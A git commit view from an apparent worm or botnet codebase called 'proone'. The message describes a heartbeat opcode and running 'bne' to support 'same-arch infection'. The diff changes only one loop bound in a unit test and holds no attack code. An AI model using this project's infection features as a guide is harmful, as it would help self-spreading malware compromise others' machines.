diff options
author | David Timber <mieabby@gmail.com> | 2021-07-22 22:30:48 +1000 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2021-07-22 22:30:48 +1000 |
commit | 5a98bcd78867b4fb1a272ce26774c8811f28750d (patch) | |
tree | febb7d4d3112d4ce598cd9352fc81d2da2d54ca6 /src/proone-test_proto.c | |
parent | a0b92490365dc88d50c81780ff9ebb6ddb681e5e (diff) |
Impl PRNE_HTBT_OP_RCB ...
* Parameterize prne_start_bin_rcb() args
* Change value of PRNE_ARCH_NONE to 0 to use it over the wire (problem
arises deserialising)
* tostr() and fstr() functions set errno to EINVAL
* Run bne without binary archive to support same-arch infection
Diffstat (limited to 'src/proone-test_proto.c')
-rw-r--r-- | src/proone-test_proto.c | 2 |
1 files changed, 1 insertions, 1 deletions
diff --git a/src/proone-test_proto.c b/src/proone-test_proto.c index c3f9934..4c7caaa 100644 --- a/src/proone-test_proto.c +++ b/src/proone-test_proto.c @@ -545,7 +545,7 @@ static void test_enum (void) { assert(i == prne_arch_fstr(prne_arch_tostr(i))); } - for (prne_arch_t i = 0; i < NB_PRNE_ARCH; i += 1) { + for (prne_arch_t i = PRNE_ARCH_NONE + 1; i < NB_PRNE_ARCH; i += 1) { assert(prne_arch_tostr(i) != NULL); } for (prne_htbt_ser_rc_t i = 0; i < NB_PRNE_HTBT_SER_RC; i += 1) { |